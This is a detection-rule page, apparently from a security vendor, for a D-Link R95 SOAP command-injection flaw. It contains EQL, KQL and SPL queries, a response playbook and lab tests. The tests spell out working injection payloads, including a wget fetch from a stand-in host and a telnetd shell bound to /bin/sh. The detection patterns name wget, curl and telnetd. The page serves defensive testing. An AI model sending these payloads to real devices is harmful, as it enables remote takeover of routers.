Detect D-Link R95 DHMAPI SOAP SetTriggerPPPoEValidate OS Command Injection (CVE-2026-138355) in Elastic Security
Detects exploitation attempts against CVE-2026-138355, a critical (CVSS 9.3) OS command injection vulnerability in the SetTriggerPPPoEValidate function of /bin/ssi in the DHMAPI SOAP handler of D-Link R95 routers (firmware 1.04B04Beta). Unsanitized SOAP parameters passed to SetTriggerPPPoEValidate are concatenated into a shell command (CWE-77/CWE-78), allowing unauthenticated remote attackers to execute arbitrary OS commands on the device. A public exploit has been disclosed. Because this is an embedded device vulnerability, network-layer detection focuses on anomalous SOAP/HTTP requests to the DHMAPI endpoint containing shell metacharacters, and on downstream indicators of post-exploitation command execution captured by proxy, firewall, or device syslog telemetry.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence
network where event.category == "network" and
(url.path : ("*SetTriggerPPPoEValidate*", "*dhmapi*", "*HNAP1*") or http.request.method == "POST") and
(url.query : ("*;*", "*|*", "*%3B*", "*%7C*", "*%60*", "*wget*", "*curl*", "*telnetd*", "*/bin/sh*") or
http.request.body.content : ("*SetTriggerPPPoEValidate*" and ("*;*" or "*|*" or "*`*" or "*$(*" or "*wget*" or "*curl*"))) Elastic EQL rule matching network events to D-Link DHMAPI endpoints with command-injection indicators targeting SetTriggerPPPoEValidate.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate SOAP administration traffic to the router
- Automated scanning or monitoring tools
- Encoded metacharacters in harmless request fields
Other platforms for CVE-2026-138355
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated DHMAPI command injection via SetTriggerPPPoEValidate (lab)
Expected signal: Proxy/firewall log of a POST to /dhmapi referencing SetTriggerPPPoEValidate containing ';' and 'wget'.
- Test 2 Command injection with command substitution syntax (lab)
Expected signal: Network log of a POST containing SetTriggerPPPoEValidate with '$(' and 'telnetd'.
- Test 3 URL-encoded metacharacter injection attempt (lab)
Expected signal: Proxy log of a request containing 'SetTriggerPPPoEValidate' plus '%3B' and 'curl'.
Response Playbook
Triage
- Confirm the destination IP is a D-Link R95 router running firmware 1.04B04Beta (or any DHMAPI-capable D-Link model) and that the request reached the /bin/ssi SOAP handler.
- Decode the captured SOAP payload and inspect the SetTriggerPPPoEValidate parameter(s) for shell metacharacters (; | & ` $()) and injected commands (wget/curl/telnetd/nc).
- Determine whether the source IP is internal management infrastructure, an authorized scanner, or an unrecognized/external host, and correlate with any prior requests from the same source.
Containment
- Block the offending source IP at the perimeter firewall and restrict access to the router's management/SOAP interface to trusted management subnets only.
- Isolate the affected router from the network and disable remote WAN-side management until firmware is patched or the device is replaced.
Evidence Collection
- Capture full proxy/firewall request logs including the raw SOAP body, source IP, timestamps and user-agent for the suspicious requests.
- Pull the router's syslog, configuration, and any available process/command history to identify spawned processes, added accounts, or persistence resulting from command execution.
Escalation Criteria
- !Escalate to incident response if the payload contains a successfully fetched/executed second-stage binary (wget/curl/tftp to an external host) or evidence of a reverse shell (telnetd/nc).
- !Escalate if post-exploitation indicators are observed, unexpected outbound connections from the router, config changes, new admin accounts, or DNS/traffic redirection.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries showing /bin/ssi invoking shell commands around the request time - >
Proxy/firewall records of the malicious SOAP POST to the DHMAPI endpoint - >
Unexpected outbound connections (HTTP/TFTP/raw sockets) initiated by the router to fetch second-stage payloads
Tuning Guidance
Enrich the destination inventory with D-Link R95/DHMAPI device IPs to scope detection and drop noise from unaffected hosts. Allowlist authorized management subnets and known vulnerability scanners. If proxy decryption is unavailable for the router's management plane, lean on device syslog forwarding to catch /bin/ssi command execution. Tighten metacharacter matching to request bodies (not full URLs) to reduce false positives from encoded-but-benign fields.
Hunting Queries
Baseline and hunt for any traffic referencing the DHMAPI SetTriggerPPPoEValidate function, then review for metacharacters and unusual sources.
// df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "SetTriggerPPPoEValidate" or AdditionalExtensions has "SetTriggerPPPoEValidate" | summarize count(), make_set(RequestURL) by SourceIP, DestinationIP, bin(TimeGenerated, 1h) ``` df00tech DF00-8422ce3717 · https://df00tech.com/detections/CVE-2026-138355 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall ("*SetTriggerPPPoEValidate*" OR "*dhmapi*") | stats count values(uri_path) by src_ip dest_ip Atomic Red Team Tests
Sends a crafted SOAP POST to a lab D-Link R95 (or emulated /bin/ssi handler) with a shell metacharacter in the SetTriggerPPPoEValidate parameter to generate detectable telemetry.
Command
curl -s -X POST 'http://192.0.2.10/dhmapi/' -H 'SOAPAction: SetTriggerPPPoEValidate' -H 'Content-Type: text/xml' --data '<SOAP:Body><SetTriggerPPPoEValidate><Value>;wget http://192.0.2.50/x -O /tmp/x;</Value></SetTriggerPPPoEValidate></SOAP:Body>' Cleanup
ssh [email protected] 'rm -f /tmp/x' 2>/dev/null || true Expected Telemetry
Proxy/firewall log of a POST to /dhmapi referencing SetTriggerPPPoEValidate containing ';' and 'wget'.
Expected Detection
KQL/SPL/EQL rules fire on the SetTriggerPPPoEValidate string combined with shell metacharacters.
Uses backtick/$() command substitution in the SOAP parameter to test metacharacter detection coverage.
Command
curl -s -X POST 'http://192.0.2.10/dhmapi/' -H 'SOAPAction: SetTriggerPPPoEValidate' --data '<SetTriggerPPPoEValidate><Value>$(telnetd -l /bin/sh -p 4444)</Value></SetTriggerPPPoEValidate>' Cleanup
ssh [email protected] 'killall telnetd' 2>/dev/null || true Expected Telemetry
Network log of a POST containing SetTriggerPPPoEValidate with '$(' and 'telnetd'.
Expected Detection
Detection rules match on the command-substitution/telnetd indicators.
Sends URL-encoded shell metacharacters to validate detection of encoded injection payloads.
Command
curl -s -X POST 'http://192.0.2.10/dhmapi/?SetTriggerPPPoEValidate=1%3Bcurl%20http%3A%2F%2F192.0.2.50%2Fy%3B' Cleanup
true Expected Telemetry
Proxy log of a request containing 'SetTriggerPPPoEValidate' plus '%3B' and 'curl'.
Expected Detection
Rules match on encoded metacharacters (%3B/%7C) alongside the vulnerable function name.